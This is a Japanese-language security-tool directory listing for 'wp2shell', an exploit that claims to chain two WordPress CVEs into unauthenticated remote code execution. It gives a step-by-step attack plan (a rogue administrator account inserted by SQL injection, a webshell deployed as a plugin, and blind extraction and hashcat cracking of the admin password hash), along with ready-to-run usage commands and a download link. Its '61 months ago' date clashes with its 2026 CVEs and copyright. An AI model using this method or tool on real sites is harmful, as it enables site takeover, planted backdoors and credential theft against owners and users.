Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wp2shell — WordPress コアにおける未認証 RCE (CVE-2026-63030 + CVE-2026-60137) | Kitploit
ツール/GitHubGitHub/iqbalx7/wp2shell
パスワードクラッキング特権昇格ペイロード生成エクスプロイトウェブアプリケーション悪用レッドチーミングAPIセキュリティ
GitHubiqbalx7/wp2shell

wp2shell

WordPress コアにおける未認証 RCE (CVE-2026-63030 + CVE-2026-60137)

リポジトリを見る
61ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

wp2shell

WordPress REST APIのルート混乱(CVE-2026-63030)と、バッチエンドポイントのSQLインジェクション(CVE-2026-60137)を悪用して、リモートコード実行(RCE)を達成します。

脆弱性

ルート混乱 (CVE-2026-63030)

WordPress REST APIのバッチエンドポイント(/batch/v1)は、リクエストのルーティングを適切に分離していません。バッチリクエストを入れ子にすることで、攻撃者はWordPressの通常の権限チェックを迂回する内部リクエストを実行できます。重要な指標は、レスポンス内のparse_path_failed + block_cannot_readエラーパターンです。これにより、ルート混乱が悪用可能であることが確認できます。

SQLインジェクション (CVE-2026-60137)

バッチエンドポイント経由でリクエストが誤ルーティングされると、GET /wp/v2/postsのauthor_excludeパラメータが適切にサニタイズされません。これにより、認証なしでスタッククエリやUNION文によるSQLインジェクションが可能になります。

エクスプロイトの仕組み

root@kitploit:~
Phase 1: Probe
  ─────────────
  Check batch endpoint reachable (HTTP 207)
  Verify route confusion via marker requests
  Confirm SQL injection via timing/oracle

Phase 2: UNION → RCE (fast path)
  ─────────────────────────────
  If UNION injection works:
    1. Detect table prefix (blind or brute-force common ones)
    2. CREATE ADMIN USER via stacked UNION INSERT queries
       - Bcrypt hash generated via PHP on attacker machine
       - Insert row into {prefix}_users + {prefix}_usermeta
       - New user gets administrator capabilities
    3. Login + Deploy webshell as WordPress plugin
    4. Execute commands via ?t=TOKEN&c=id

Phase 3: Blind → Hash (fallback path)
  ─────────────────────────────────
  If UNION is blocked but blind SQLi works:
    1. Extract MySQL version, user, database name
    2. Extract table prefix from information_schema
    3. Extract admin hash from {prefix}_users WHERE id=1
    4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
    5. Use --user / --pass --cmd id with cracked password

Phase 4: Credential login
  ──────────────────────
  If --user/--pass provided:
    1. Login via wp-login.php or REST API Basic Auth
    2. Upload webshell as plugin
    3. Execute commands

使用方法

root@kitploit:~
# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com

# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id

# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only

# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only

# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080

# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5

オプション

要件

  • Python 3.8+
  • PHP CLI(bcryptハッシュ生成用 — オプション、既定値にフォールバック)
  • 対象: REST APIが有効で、未パッチのバッチエンドポイントを持つWordPress

免責事項

このツールは認可されたセキュリティテスト専用です。使用する前に、対象の所有者から明示的な許可を得る必要があります。コンピュータシステムへの不正アクセスは違法です。

ツールをダウンロード
Flag説明
--proxyHTTPプロキシ(例: Burp Suite)
--userログイン用の管理者ユーザー名
--pass管理者パスワード
--cmdターゲット上で実行するコマンド
--union-onlyブラインド抽出をスキップ
--blind-onlyUNION試行をスキップ
--sleep時間ベースブラインド用のSLEEP秒数